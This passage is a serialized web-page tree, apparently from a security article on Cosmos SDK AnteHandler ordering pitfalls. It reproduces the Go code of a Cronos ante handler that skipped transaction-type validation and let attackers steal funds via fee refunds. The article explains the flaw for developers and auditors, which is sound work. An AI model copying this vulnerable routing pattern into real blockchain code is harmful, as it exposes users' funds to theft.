NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n // INSERT HERE\n NewExtensionOptionsDecorator(options.ExtensionOptionChecker),\n NewValidateBasicDecorator(),\n NewTxTimeoutHeightDecorator(),\n NewValidateMemoDecorator(options.AccountKeeper),\n NewConsumeGasForTxSizeDecorator(options.AccountKeeper),\n NewDeductFeeDecorator(options.AccountKeeper, options.BankKeeper, options.FeegrantKeeper, options.TxFeeChecker),\n NewSetPubKeyDecorator(options.AccountKeeper), // SetPubKeyDecorator must be called before all signature verification decorators\n NewValidateSigCountDecorator(options.AccountKeeper),\n NewSigGasConsumeDecorator(options.AccountKeeper, options.SigGasConsumer),\n NewSigVerificationDecorator(options.AccountKeeper, options.SignModeHandler),\n NewIncrementSequenceDecorator(options.AccountKeeper),\n}\n",[77501],{"type":20,"tag":119,"props":77502,"children":77503},{"__ignoreMap":7},[77504,77537,77554,77562,77591,77603,77615,77644,77672,77751,77784,77812,77857,77902,77930],{"type":20,"tag":315,"props":77505,"children":77506},{"class":317,"line":318},[77507,77512,77516,77520,77524,77528,77533],{"type":20,"tag":315,"props":77508,"children":77509},{"style":635},[77510],{"type":26,"value":77511},"anteDecorators",{"type":20,"tag":315,"props":77513,"children":77514},{"style":334},[77515],{"type":26,"value":74674},{"type":20,"tag":315,"props":77517,"children":77518},{"style":328},[77519],{"type":26,"value":74485},{"type":20,"tag":315,"props":77521,"children":77522},{"style":322},[77523],{"type":26,"value":76988},{"type":20,"tag":315,"props":77525,"children":77526},{"style":328},[77527],{"type":26,"value":61},{"type":20,"tag":315,"props":77529,"children":77530},{"style":322},[77531],{"type":26,"value":77532},"AnteDecorator",{"type":20,"tag":315,"props":77534,"children":77535},{"style":328},[77536],{"type":26,"value":723},{"type":20,"tag":315,"props":77538,"children":77539},{"class":317,"line":356},[77540,77545,77549],{"type":20,"tag":315,"props":77541,"children":77542},{"style":345},[77543],{"type":26,"value":77544}," NewSetUpContextDecorator",{"type":20,"tag":315,"props":77546,"children":77547},{"style":328},[77548],{"type":26,"value":16778},{"type":20,"tag":315,"props":77550,"children":77551},{"style":1071},[77552],{"type":26,"value":77553},"// outermost AnteDecorator. SetUpContext must be called first\n",{"type":20,"tag":315,"props":77555,"children":77556},{"class":317,"line":365},[77557],{"type":20,"tag":315,"props":77558,"children":77559},{"style":1071},[77560],{"type":26,"value":77561}," // INSERT HERE\n",{"type":20,"tag":315,"props":77563,"children":77564},{"class":317,"line":374},[77565,77570,77574,77578,77582,77587],{"type":20,"tag":315,"props":77566,"children":77567},{"style":345},[77568],{"type":26,"value":77569}," NewExtensionOptionsDecorator",{"type":20,"tag":315,"props":77571,"children":77572},{"style":328},[77573],{"type":26,"value":1049},{"type":20,"tag":315,"props":77575,"children":77576},{"style":635},[77577],{"type":26,"value":34454},{"type":20,"tag":315,"props":77579,"children":77580},{"style":328},[77581],{"type":26,"value":61},{"type":20,"tag":315,"props":77583,"children":77584},{"style":635},[77585],{"type":26,"value":77586},"ExtensionOptionChecker",{"type":20,"tag":315,"props":77588,"children":77589},{"style":328},[77590],{"type":26,"value":5131},{"type":20,"tag":315,"props":77592,"children":77593},{"class":317,"line":383},[77594,77599],{"type":20,"tag":315,"props":77595,"children":77596},{"style":345},[77597],{"type":26,"value":77598}," NewValidateBasicDecorator",{"type":20,"tag":315,"props":77600,"children":77601},{"style":328},[77602],{"type":26,"value":1871},{"type":20,"tag":315,"props":77604,"children":77605},{"class":317,"line":407},[77606,77611],{"type":20,"tag":315,"props":77607,"children":77608},{"style":345},[77609],{"type":26,"value":77610}," NewTxTimeoutHeightDecorator",{"type":20,"tag":315,"props":77612,"children":77613},{"style":328},[77614],{"type":26,"value":1871},{"type":20,"tag":315,"props":77616,"children":77617},{"class":317,"line":421},[77618,77623,77627,77631,77635,77640],{"type":20,"tag":315,"props":77619,"children":77620},{"style":345},[77621],{"type":26,"value":77622}," NewValidateMemoDecorator",{"type":20,"tag":315,"props":77624,"children":77625},{"style":328},[77626],{"type":26,"value":1049},{"type":20,"tag":315,"props":77628,"children":77629},{"style":635},[77630],{"type":26,"value":34454},{"type":20,"tag":315,"props":77632,"children":77633},{"style":328},[77634],{"type":26,"value":61},{"type":20,"tag":315,"props":77636,"children":77637},{"style":635},[77638],{"type":26,"value":77639},"AccountKeeper",{"type":20,"tag":315,"props":77641,"children":77642},{"style":328},[77643],{"type":26,"value":5131},{"type":20,"tag":315,"props":77645,"children":77646},{"class":317,"line":430},[77647,77652,77656,77660,77664,77668],{"type":20,"tag":315,"props":77648,"children":77649},{"style":345},[77650],{"type":26,"value":77651}," NewConsumeGasForTxSizeDecorator",{"type":20,"tag":315,"props":77653,"children":77654},{"style":328},[77655],{"type":26,"value":1049},{"type":20,"tag":315,"props":77657,"children":77658},{"style":635},[77659],{"type":26,"value":34454},{"type":20,"tag":315,"props":77661,"children":77662},{"style":328},[77663],{"type":26,"value":61},{"type":20,"tag":315,"props":77665,"children":77666},{"style":635},[77667],{"type":26,"value":77639},{"type":20,"tag":315,"props":77669,"children":77670},{"style":328},[77671],{"type":26,"value":5131},{"type":20,"tag":315,"props":77673,"children":77674},{"class":317,"line":453},[77675,77680,77684,77688,77692,77696,77700,77704,77708,77713,77717,77721,77725,77730,77734,77738,77742,77747],{"type":20,"tag":315,"props":77676,"children":77677},{"style":345},[77678],{"type":26,"value":77679}," NewDeductFeeDecorator",{"type":20,"tag":315,"props":77681,"children":77682},{"style":328},[77683],{"type":26,"value":1049},{"type":20,"tag":315,"props":77685,"children":77686},{"style":635},[77687],{"type":26,"value":34454},{"type":20,"tag":315,"props":77689,"children":77690},{"style":328},[77691],{"type":26,"value":61},{"type":20,"tag":315,"props":77693,"children":77694},{"style":635},[77695],{"type":26,"value":77639},{"type":20,"tag":315,"props":77697,"children":77698},{"style":328},[77699],{"type":26,"value":44},{"type":20,"tag":315,"props":77701,"children":77702},{"style":635},[77703],{"type":26,"value":34454},{"type":20,"tag":315,"props":77705,"children":77706},{"style":328},[77707],{"type":26,"value":61},{"type":20,"tag":315,"props":77709,"children":77710},{"style":635},[77711],{"type":26,"value":77712},"BankKeeper",{"type":20,"tag":315,"props":77714,"children":77715},{"style":328},[77716],{"type":26,"value":44},{"type":20,"tag":315,"props":77718,"children":77719},{"style":635},[77720],{"type":26,"value":34454},{"type":20,"tag":315,"props":77722,"children":77723},{"style":328},[77724],{"type":26,"value":61},{"type":20,"tag":315,"props":77726,"children":77727},{"style":635},[77728],{"type":26,"value":77729},"FeegrantKeeper",{"type":20,"tag":315,"props":77731,"children":77732},{"style":328},[77733],{"type":26,"value":44},{"type":20,"tag":315,"props":77735,"children":77736},{"style":635},[77737],{"type":26,"value":34454},{"type":20,"tag":315,"props":77739,"children":77740},{"style":328},[77741],{"type":26,"value":61},{"type":20,"tag":315,"props":77743,"children":77744},{"style":635},[77745],{"type":26,"value":77746},"TxFeeChecker",{"type":20,"tag":315,"props":77748,"children":77749},{"style":328},[77750],{"type":26,"value":5131},{"type":20,"tag":315,"props":77752,"children":77753},{"class":317,"line":486},[77754,77759,77763,77767,77771,77775,77779],{"type":20,"tag":315,"props":77755,"children":77756},{"style":345},[77757],{"type":26,"value":77758}," NewSetPubKeyDecorator",{"type":20,"tag":315,"props":77760,"children":77761},{"style":328},[77762],{"type":26,"value":1049},{"type":20,"tag":315,"props":77764,"children":77765},{"style":635},[77766],{"type":26,"value":34454},{"type":20,"tag":315,"props":77768,"children":77769},{"style":328},[77770],{"type":26,"value":61},{"type":20,"tag":315,"props":77772,"children":77773},{"style":635},[77774],{"type":26,"value":77639},{"type":20,"tag":315,"props":77776,"children":77777},{"style":328},[77778],{"type":26,"value":13578},{"type":20,"tag":315,"props":77780,"children":77781},{"style":1071},[77782],{"type":26,"value":77783},"// SetPubKeyDecorator must be called before all signature verification decorators\n",{"type":20,"tag":315,"props":77785,"children":77786},{"class":317,"line":499},[77787,77792,77796,77800,77804,77808],{"type":20,"tag":315,"props":77788,"children":77789},{"style":345},[77790],{"type":26,"value":77791}," NewValidateSigCountDecorator",{"type":20,"tag":315,"props":77793,"children":77794},{"style":328},[77795],{"type":26,"value":1049},{"type":20,"tag":315,"props":77797,"children":77798},{"style":635},[77799],{"type":26,"value":34454},{"type":20,"tag":315,"props":77801,"children":77802},{"style":328},[77803],{"type":26,"value":61},{"type":20,"tag":315,"props":77805,"children":77806},{"style":635},[77807],{"type":26,"value":77639},{"type":20,"tag":315,"props":77809,"children":77810},{"style":328},[77811],{"type":26,"value":5131},{"type":20,"tag":315,"props":77813,"children":77814},{"class":317,"line":513},[77815,77820,77824,77828,77832,77836,77840,77844,77848,77853],{"type":20,"tag":315,"props":77816,"children":77817},{"style":345},[77818],{"type":26,"value":77819}," NewSigGasConsumeDecorator",{"type":20,"tag":315,"props":77821,"children":77822},{"style":328},[77823],{"type":26,"value":1049},{"type":20,"tag":315,"props":77825,"children":77826},{"style":635},[77827],{"type":26,"value":34454},{"type":20,"tag":315,"props":77829,"children":77830},{"style":328},[77831],{"type":26,"value":61},{"type":20,"tag":315,"props":77833,"children":77834},{"style":635},[77835],{"type":26,"value":77639},{"type":20,"tag":315,"props":77837,"children":77838},{"style":328},[77839],{"type":26,"value":44},{"type":20,"tag":315,"props":77841,"children":77842},{"style":635},[77843],{"type":26,"value":34454},{"type":20,"tag":315,"props":77845,"children":77846},{"style":328},[77847],{"type":26,"value":61},{"type":20,"tag":315,"props":77849,"children":77850},{"style":635},[77851],{"type":26,"value":77852},"SigGasConsumer",{"type":20,"tag":315,"props":77854,"children":77855},{"style":328},[77856],{"type":26,"value":5131},{"type":20,"tag":315,"props":77858,"children":77859},{"class":317,"line":521},[77860,77865,77869,77873,77877,77881,77885,77889,77893,77898],{"type":20,"tag":315,"props":77861,"children":77862},{"style":345},[77863],{"type":26,"value":77864}," NewSigVerificationDecorator",{"type":20,"tag":315,"props":77866,"children":77867},{"style":328},[77868],{"type":26,"value":1049},{"type":20,"tag":315,"props":77870,"children":77871},{"style":635},[77872],{"type":26,"value":34454},{"type":20,"tag":315,"props":77874,"children":77875},{"style":328},[77876],{"type":26,"value":61},{"type":20,"tag":315,"props":77878,"children":77879},{"style":635},[77880],{"type":26,"value":77639},{"type":20,"tag":315,"props":77882,"children":77883},{"style":328},[77884],{"type":26,"value":44},{"type":20,"tag":315,"props":77886,"children":77887},{"style":635},[77888],{"type":26,"value":34454},{"type":20,"tag":315,"props":77890,"children":77891},{"style":328},[77892],{"type":26,"value":61},{"type":20,"tag":315,"props":77894,"children":77895},{"style":635},[77896],{"type":26,"value":77897},"SignModeHandler",{"type":20,"tag":315,"props":77899,"children":77900},{"style":328},[77901],{"type":26,"value":5131},{"type":20,"tag":315,"props":77903,"children":77904},{"class":317,"line":552},[77905,77910,77914,77918,77922,77926],{"type":20,"tag":315,"props":77906,"children":77907},{"style":345},[77908],{"type":26,"value":77909}," NewIncrementSequenceDecorator",{"type":20,"tag":315,"props":77911,"children":77912},{"style":328},[77913],{"type":26,"value":1049},{"type":20,"tag":315,"props":77915,"children":77916},{"style":635},[77917],{"type":26,"value":34454},{"type":20,"tag":315,"props":77919,"children":77920},{"style":328},[77921],{"type":26,"value":61},{"type":20,"tag":315,"props":77923,"children":77924},{"style":635},[77925],{"type":26,"value":77639},{"type":20,"tag":315,"props":77927,"children":77928},{"style":328},[77929],{"type":26,"value":5131},{"type":20,"tag":315,"props":77931,"children":77932},{"class":317,"line":571},[77933],{"type":20,"tag":315,"props":77934,"children":77935},{"style":328},[77936],{"type":26,"value":577},{"type":20,"tag":29,"props":77938,"children":77939},{},[77940,77942,77947,77949,77955,77956,77962],{"type":26,"value":77941},"Unfortunately, that order wouldn't work. This is because there are other ",{"type":20,"tag":119,"props":77943,"children":77945},{"className":77944},[],[77946],{"type":26,"value":77477},{"type":26,"value":77948},", such as ",{"type":20,"tag":119,"props":77950,"children":77952},{"className":77951},[],[77953],{"type":26,"value":77954},"SigGasConsumeDecorator",{"type":26,"value":9392},{"type":20,"tag":119,"props":77957,"children":77959},{"className":77958},[],[77960],{"type":26,"value":77961},"ConsumeGasForTxSizeDecorator",{"type":26,"value":77963},", that modify account balances. By placing our decorator at the very start of the chain, we might pass the check and later have the signers' balances deducted before reaching the end of the decorator chain and starting transaction execution. Consequently, the invariance we intended to ensure may no longer hold, rendering our check useless.",{"type":20,"tag":29,"props":77965,"children":77966},{},[77967,77969,77975,77977,77982],{"type":26,"value":77968},"The easiest \"mitigation\" is to move our decorator down into the chain list. We say this lightly because it's important to consider various factors such as whether nested ",{"type":20,"tag":119,"props":77970,"children":77972},{"className":77971},[],[77973],{"type":26,"value":77974},"msgs",{"type":26,"value":77976}," are allowed (e.g. the authz module is present), as this precaution alone might not be enough to fully resolve the issue. Without a comprehensive understanding of the entire system, there is a risk that mistakes will still be made in the ",{"type":20,"tag":119,"props":77978,"children":77980},{"className":77979},[],[77981],{"type":26,"value":76803},{"type":26,"value":77983}," chain.",{"type":20,"tag":219,"props":77985,"children":77987},{"id":77986},"real-world-examples-2",[77988],{"type":26,"value":74947},{"type":20,"tag":29,"props":77990,"children":77991},{},[77992,77994,77999,78001,78008],{"type":26,"value":77993},"An instance of ",{"type":20,"tag":119,"props":77995,"children":77997},{"className":77996},[],[77998],{"type":26,"value":76728},{"type":26,"value":78000}," misuse is a ",{"type":20,"tag":35,"props":78002,"children":78005},{"href":78003,"rel":78004},"https://medium.com/immunefi/cronos-theft-of-transactions-fees-bugfix-postmortem-b33f941b9570",[39],[78006],{"type":26,"value":78007},"Theft of Fund bug",{"type":26,"value":78009}," that was exploited in a Cronos contract.",{"type":20,"tag":29,"props":78011,"children":78012},{},[78013,78015,78020,78022,78027,78029,78035,78037,78043,78045,78050,78052,78057],{"type":26,"value":78014},"In this scenario, ",{"type":20,"tag":119,"props":78016,"children":78018},{"className":78017},[],[78019],{"type":26,"value":77974},{"type":26,"value":78021}," are multiplexed to different ",{"type":20,"tag":119,"props":78023,"children":78025},{"className":78024},[],[78026],{"type":26,"value":76728},{"type":26,"value":78028}," sets through the user-controlled ",{"type":20,"tag":119,"props":78030,"children":78032},{"className":78031},[],[78033],{"type":26,"value":78034},"ExtensionOptionsEthereumTx",{"type":26,"value":78036}," option. However, due to a lack of tx validation, if a ",{"type":20,"tag":119,"props":78038,"children":78040},{"className":78039},[],[78041],{"type":26,"value":78042},"MsgEthereumTx",{"type":26,"value":78044}," does not have ",{"type":20,"tag":119,"props":78046,"children":78048},{"className":78047},[],[78049],{"type":26,"value":78034},{"type":26,"value":78051}," specified, it will be routed to non-Ethereum ",{"type":20,"tag":119,"props":78053,"children":78055},{"className":78054},[],[78056],{"type":26,"value":77477},{"type":26,"value":78058},", failing to collect fees from users as intended. Consequently, attackers can exploit the fee refund at the end of transaction processing to steal funds.",{"type":20,"tag":29,"props":78060,"children":78061},{},[78062],{"type":20,"tag":35,"props":78063,"children":78066},{"href":78064,"rel":78065},"https://github.com/crypto-org-chain/ethermint/blob/82805507f7d2e83cad547736883dc22acfb52440/app/ante/ante.go#L33",[39],[78067],{"type":26,"value":74997},{"type":20,"tag":305,"props":78069,"children":78071},{"code":78070,"language":74422,"meta":7,"className":74423,"style":7},"func NewAnteHandler(\n ak evmtypes.AccountKeeper,\n bankKeeper evmtypes.BankKeeper,\n evmKeeper EVMKeeper,\n feeGrantKeeper authante.FeegrantKeeper,\n channelKeeper channelkeeper.Keeper,\n signModeHandler authsigning.SignModeHandler,\n) sdk.AnteHandler {\n return func(\n ctx sdk.Context, tx sdk.Tx, sim bool,\n ) (newCtx sdk.Context, err error) {\n var anteHandler sdk.AnteHandler\n\n defer Recover(ctx.Logger(), &err)\n\n txWithExtensions, ok := tx.(authante.HasExtensionOptionsTx)\n if ok {\n opts := txWithExtensions.GetExtensionOptions()\n if len(opts) > 0 {\n switch typeURL := opts[0].GetTypeUrl(); typeURL {\n case \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\":\n // handle as *evmtypes.MsgEthereumTx\n\n anteHandler = sdk.ChainAnteDecorators(\n NewEthSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n ...\n NewEthIncrementSenderSequenceDecorator(ak), // innermost AnteDecorator.\n )\n\n default:\n return ctx, stacktrace.Propagate(\n sdkerrors.Wrap(sdkerrors.ErrUnknownExtensionOptions, typeURL),\n \"rejecting tx with unsupported extension option\",\n )\n }\n\n return anteHandler(ctx, tx, sim)\n }\n }\n\n // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n\n switch tx.(type) {\n case sdk.Tx:\n anteHandler = sdk.ChainAnteDecorators(\n authante.NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n ...\n authante.NewIncrementSequenceDecorator(ak), // innermost AnteDecorator\n )\n default:\n return ctx, stacktrace.Propagate(\n sdkerrors.Wrapf(sdkerrors.ErrUnknownRequest, \"invalid transaction type: %T\", tx),\n \"transaction is not an SDK tx\",\n )\n }\n\n return anteHandler(ctx, tx, sim)\n }\n}\n",[78072],{"type":20,"tag":119,"props":78073,"children":78074},{"__ignoreMap":7},[78075,78091,78116,78140,78157,78182,78208,78233,78256,78272,78328,78369,78395,78402,78448,78455,78501,78517,78547,78582,78634,78651,78659,78666,78695,78711,78719,78745,78753,78760,78772,78806,78852,78864,78871,78878,78885,78924,78931,78938,78945,78953,78960,78984,79008,79036,79061,79069,79102,79109,79121,79152,79207,79220,79228,79236,79244,79284,79292],{"type":20,"tag":315,"props":78076,"children":78077},{"class":317,"line":318},[78078,78082,78087],{"type":20,"tag":315,"props":78079,"children":78080},{"style":541},[78081],{"type":26,"value":74558},{"type":20,"tag":315,"props":78083,"children":78084},{"style":345},[78085],{"type":26,"value":78086}," NewAnteHandler",{"type":20,"tag":315,"props":78088,"children":78089},{"style":328},[78090],{"type":26,"value":353},{"type":20,"tag":315,"props":78092,"children":78093},{"class":317,"line":356},[78094,78099,78104,78108,78112],{"type":20,"tag":315,"props":78095,"children":78096},{"style":635},[78097],{"type":26,"value":78098}," ak",{"type":20,"tag":315,"props":78100,"children":78101},{"style":322},[78102],{"type":26,"value":78103}," evmtypes",{"type":20,"tag":315,"props":78105,"children":78106},{"style":328},[78107],{"type":26,"value":61},{"type":20,"tag":315,"props":78109,"children":78110},{"style":322},[78111],{"type":26,"value":77639},{"type":20,"tag":315,"props":78113,"children":78114},{"style":328},[78115],{"type":26,"value":643},{"type":20,"tag":315,"props":78117,"children":78118},{"class":317,"line":365},[78119,78124,78128,78132,78136],{"type":20,"tag":315,"props":78120,"children":78121},{"style":635},[78122],{"type":26,"value":78123}," bankKeeper",{"type":20,"tag":315,"props":78125,"children":78126},{"style":322},[78127],{"type":26,"value":78103},{"type":20,"tag":315,"props":78129,"children":78130},{"style":328},[78131],{"type":26,"value":61},{"type":20,"tag":315,"props":78133,"children":78134},{"style":322},[78135],{"type":26,"value":77712},{"type":20,"tag":315,"props":78137,"children":78138},{"style":328},[78139],{"type":26,"value":643},{"type":20,"tag":315,"props":78141,"children":78142},{"class":317,"line":374},[78143,78148,78153],{"type":20,"tag":315,"props":78144,"children":78145},{"style":635},[78146],{"type":26,"value":78147}," evmKeeper",{"type":20,"tag":315,"props":78149,"children":78150},{"style":322},[78151],{"type":26,"value":78152}," EVMKeeper",{"type":20,"tag":315,"props":78154,"children":78155},{"style":328},[78156],{"type":26,"value":643},{"type":20,"tag":315,"props":78158,"children":78159},{"class":317,"line":383},[78160,78165,78170,78174,78178],{"type":20,"tag":315,"props":78161,"children":78162},{"style":635},[78163],{"type":26,"value":78164}," feeGrantKeeper",{"type":20,"tag":315,"props":78166,"children":78167},{"style":322},[78168],{"type":26,"value":78169}," authante",{"type":20,"tag":315,"props":78171,"children":78172},{"style":328},[78173],{"type":26,"value":61},{"type":20,"tag":315,"props":78175,"children":78176},{"style":322},[78177],{"type":26,"value":77729},{"type":20,"tag":315,"props":78179,"children":78180},{"style":328},[78181],{"type":26,"value":643},{"type":20,"tag":315,"props":78183,"children":78184},{"class":317,"line":407},[78185,78190,78195,78199,78204],{"type":20,"tag":315,"props":78186,"children":78187},{"style":635},[78188],{"type":26,"value":78189}," channelKeeper",{"type":20,"tag":315,"props":78191,"children":78192},{"style":322},[78193],{"type":26,"value":78194}," channelkeeper",{"type":20,"tag":315,"props":78196,"children":78197},{"style":328},[78198],{"type":26,"value":61},{"type":20,"tag":315,"props":78200,"children":78201},{"style":322},[78202],{"type":26,"value":78203},"Keeper",{"type":20,"tag":315,"props":78205,"children":78206},{"style":328},[78207],{"type":26,"value":643},{"type":20,"tag":315,"props":78209,"children":78210},{"class":317,"line":421},[78211,78216,78221,78225,78229],{"type":20,"tag":315,"props":78212,"children":78213},{"style":635},[78214],{"type":26,"value":78215}," signModeHandler",{"type":20,"tag":315,"props":78217,"children":78218},{"style":322},[78219],{"type":26,"value":78220}," authsigning",{"type":20,"tag":315,"props":78222,"children":78223},{"style":328},[78224],{"type":26,"value":61},{"type":20,"tag":315,"props":78226,"children":78227},{"style":322},[78228],{"type":26,"value":77897},{"type":20,"tag":315,"props":78230,"children":78231},{"style":328},[78232],{"type":26,"value":643},{"type":20,"tag":315,"props":78234,"children":78235},{"class":317,"line":430},[78236,78240,78244,78248,78252],{"type":20,"tag":315,"props":78237,"children":78238},{"style":328},[78239],{"type":26,"value":1468},{"type":20,"tag":315,"props":78241,"children":78242},{"style":322},[78243],{"type":26,"value":76988},{"type":20,"tag":315,"props":78245,"children":78246},{"style":328},[78247],{"type":26,"value":61},{"type":20,"tag":315,"props":78249,"children":78250},{"style":322},[78251],{"type":26,"value":76728},{"type":20,"tag":315,"props":78253,"children":78254},{"style":328},[78255],{"type":26,"value":1092},{"type":20,"tag":315,"props":78257,"children":78258},{"class":317,"line":453},[78259,78263,78268],{"type":20,"tag":315,"props":78260,"children":78261},{"style":525},[78262],{"type":26,"value":731},{"type":20,"tag":315,"props":78264,"children":78265},{"style":541},[78266],{"type":26,"value":78267}," func",{"type":20,"tag":315,"props":78269,"children":78270},{"style":328},[78271],{"type":26,"value":353},{"type":20,"tag":315,"props":78273,"children":78274},{"class":317,"line":486},[78275,78279,78283,78287,78291,78295,78299,78303,78307,78311,78315,78320,78324],{"type":20,"tag":315,"props":78276,"children":78277},{"style":635},[78278],{"type":26,"value":24602},{"type":20,"tag":315,"props":78280,"children":78281},{"style":322},[78282],{"type":26,"value":76899},{"type":20,"tag":315,"props":78284,"children":78285},{"style":328},[78286],{"type":26,"value":61},{"type":20,"tag":315,"props":78288,"children":78289},{"style":322},[78290],{"type":26,"value":74607},{"type":20,"tag":315,"props":78292,"children":78293},{"style":328},[78294],{"type":26,"value":44},{"type":20,"tag":315,"props":78296,"children":78297},{"style":635},[78298],{"type":26,"value":77439},{"type":20,"tag":315,"props":78300,"children":78301},{"style":322},[78302],{"type":26,"value":76899},{"type":20,"tag":315,"props":78304,"children":78305},{"style":328},[78306],{"type":26,"value":61},{"type":20,"tag":315,"props":78308,"children":78309},{"style":322},[78310],{"type":26,"value":76932},{"type":20,"tag":315,"props":78312,"children":78313},{"style":328},[78314],{"type":26,"value":44},{"type":20,"tag":315,"props":78316,"children":78317},{"style":635},[78318],{"type":26,"value":78319},"sim",{"type":20,"tag":315,"props":78321,"children":78322},{"style":322},[78323],{"type":26,"value":10451},{"type":20,"tag":315,"props":78325,"children":78326},{"style":328},[78327],{"type":26,"value":643},{"type":20,"tag":315,"props":78329,"children":78330},{"class":317,"line":499},[78331,78336,78341,78345,78349,78353,78357,78361,78365],{"type":20,"tag":315,"props":78332,"children":78333},{"style":328},[78334],{"type":26,"value":78335}," ) (",{"type":20,"tag":315,"props":78337,"children":78338},{"style":635},[78339],{"type":26,"value":78340},"newCtx",{"type":20,"tag":315,"props":78342,"children":78343},{"style":322},[78344],{"type":26,"value":76899},{"type":20,"tag":315,"props":78346,"children":78347},{"style":328},[78348],{"type":26,"value":61},{"type":20,"tag":315,"props":78350,"children":78351},{"style":322},[78352],{"type":26,"value":74607},{"type":20,"tag":315,"props":78354,"children":78355},{"style":328},[78356],{"type":26,"value":44},{"type":20,"tag":315,"props":78358,"children":78359},{"style":635},[78360],{"type":26,"value":46671},{"type":20,"tag":315,"props":78362,"children":78363},{"style":322},[78364],{"type":26,"value":13277},{"type":20,"tag":315,"props":78366,"children":78367},{"style":328},[78368],{"type":26,"value":549},{"type":20,"tag":315,"props":78370,"children":78371},{"class":317,"line":513},[78372,78377,78382,78386,78390],{"type":20,"tag":315,"props":78373,"children":78374},{"style":541},[78375],{"type":26,"value":78376}," var",{"type":20,"tag":315,"props":78378,"children":78379},{"style":635},[78380],{"type":26,"value":78381}," anteHandler",{"type":20,"tag":315,"props":78383,"children":78384},{"style":322},[78385],{"type":26,"value":76899},{"type":20,"tag":315,"props":78387,"children":78388},{"style":328},[78389],{"type":26,"value":61},{"type":20,"tag":315,"props":78391,"children":78392},{"style":322},[78393],{"type":26,"value":78394},"AnteHandler\n",{"type":20,"tag":315,"props":78396,"children":78397},{"class":317,"line":521},[78398],{"type":20,"tag":315,"props":78399,"children":78400},{"emptyLinePlaceholder":15},[78401],{"type":26,"value":427},{"type":20,"tag":315,"props":78403,"children":78404},{"class":317,"line":552},[78405,78410,78415,78419,78423,78427,78432,78436,78440,78444],{"type":20,"tag":315,"props":78406,"children":78407},{"style":525},[78408],{"type":26,"value":78409}," defer",{"type":20,"tag":315,"props":78411,"children":78412},{"style":345},[78413],{"type":26,"value":78414}," Recover",{"type":20,"tag":315,"props":78416,"children":78417},{"style":328},[78418],{"type":26,"value":1049},{"type":20,"tag":315,"props":78420,"children":78421},{"style":635},[78422],{"type":26,"value":18684},{"type":20,"tag":315,"props":78424,"children":78425},{"style":328},[78426],{"type":26,"value":61},{"type":20,"tag":315,"props":78428,"children":78429},{"style":345},[78430],{"type":26,"value":78431},"Logger",{"type":20,"tag":315,"props":78433,"children":78434},{"style":328},[78435],{"type":26,"value":16778},{"type":20,"tag":315,"props":78437,"children":78438},{"style":334},[78439],{"type":26,"value":1490},{"type":20,"tag":315,"props":78441,"children":78442},{"style":635},[78443],{"type":26,"value":46671},{"type":20,"tag":315,"props":78445,"children":78446},{"style":328},[78447],{"type":26,"value":380},{"type":20,"tag":315,"props":78449,"children":78450},{"class":317,"line":571},[78451],{"type":20,"tag":315,"props":78452,"children":78453},{"emptyLinePlaceholder":15},[78454],{"type":26,"value":427},{"type":20,"tag":315,"props":78456,"children":78457},{"class":317,"line":2031},[78458,78463,78467,78471,78475,78479,78483,78488,78492,78497],{"type":20,"tag":315,"props":78459,"children":78460},{"style":635},[78461],{"type":26,"value":78462}," txWithExtensions",{"type":20,"tag":315,"props":78464,"children":78465},{"style":328},[78466],{"type":26,"value":44},{"type":20,"tag":315,"props":78468,"children":78469},{"style":635},[78470],{"type":26,"value":77025},{"type":20,"tag":315,"props":78472,"children":78473},{"style":334},[78474],{"type":26,"value":74674},{"type":20,"tag":315,"props":78476,"children":78477},{"style":635},[78478],{"type":26,"value":66283},{"type":20,"tag":315,"props":78480,"children":78481},{"style":328},[78482],{"type":26,"value":77038},{"type":20,"tag":315,"props":78484,"children":78485},{"style":322},[78486],{"type":26,"value":78487},"authante",{"type":20,"tag":315,"props":78489,"children":78490},{"style":328},[78491],{"type":26,"value":61},{"type":20,"tag":315,"props":78493,"children":78494},{"style":322},[78495],{"type":26,"value":78496},"HasExtensionOptionsTx",{"type":20,"tag":315,"props":78498,"children":78499},{"style":328},[78500],{"type":26,"value":380},{"type":20,"tag":315,"props":78502,"children":78503},{"class":317,"line":2053},[78504,78508,78513],{"type":20,"tag":315,"props":78505,"children":78506},{"style":525},[78507],{"type":26,"value":1654},{"type":20,"tag":315,"props":78509,"children":78510},{"style":635},[78511],{"type":26,"value":78512}," ok",{"type":20,"tag":315,"props":78514,"children":78515},{"style":328},[78516],{"type":26,"value":1092},{"type":20,"tag":315,"props":78518,"children":78519},{"class":317,"line":2061},[78520,78525,78529,78534,78538,78543],{"type":20,"tag":315,"props":78521,"children":78522},{"style":635},[78523],{"type":26,"value":78524}," opts",{"type":20,"tag":315,"props":78526,"children":78527},{"style":334},[78528],{"type":26,"value":74674},{"type":20,"tag":315,"props":78530,"children":78531},{"style":635},[78532],{"type":26,"value":78533}," txWithExtensions",{"type":20,"tag":315,"props":78535,"children":78536},{"style":328},[78537],{"type":26,"value":61},{"type":20,"tag":315,"props":78539,"children":78540},{"style":345},[78541],{"type":26,"value":78542},"GetExtensionOptions",{"type":20,"tag":315,"props":78544,"children":78545},{"style":328},[78546],{"type":26,"value":6131},{"type":20,"tag":315,"props":78548,"children":78549},{"class":317,"line":2070},[78550,78554,78558,78562,78566,78570,78574,78578],{"type":20,"tag":315,"props":78551,"children":78552},{"style":525},[78553],{"type":26,"value":57054},{"type":20,"tag":315,"props":78555,"children":78556},{"style":345},[78557],{"type":26,"value":6954},{"type":20,"tag":315,"props":78559,"children":78560},{"style":328},[78561],{"type":26,"value":1049},{"type":20,"tag":315,"props":78563,"children":78564},{"style":635},[78565],{"type":26,"value":46813},{"type":20,"tag":315,"props":78567,"children":78568},{"style":328},[78569],{"type":26,"value":1468},{"type":20,"tag":315,"props":78571,"children":78572},{"style":334},[78573],{"type":26,"value":8862},{"type":20,"tag":315,"props":78575,"children":78576},{"style":765},[78577],{"type":26,"value":985},{"type":20,"tag":315,"props":78579,"children":78580},{"style":328},[78581],{"type":26,"value":1092},{"type":20,"tag":315,"props":78583,"children":78584},{"class":317,"line":2139},[78585,78590,78595,78599,78604,78608,78612,78616,78621,78625,78630],{"type":20,"tag":315,"props":78586,"children":78587},{"style":525},[78588],{"type":26,"value":78589}," switch",{"type":20,"tag":315,"props":78591,"children":78592},{"style":635},[78593],{"type":26,"value":78594}," 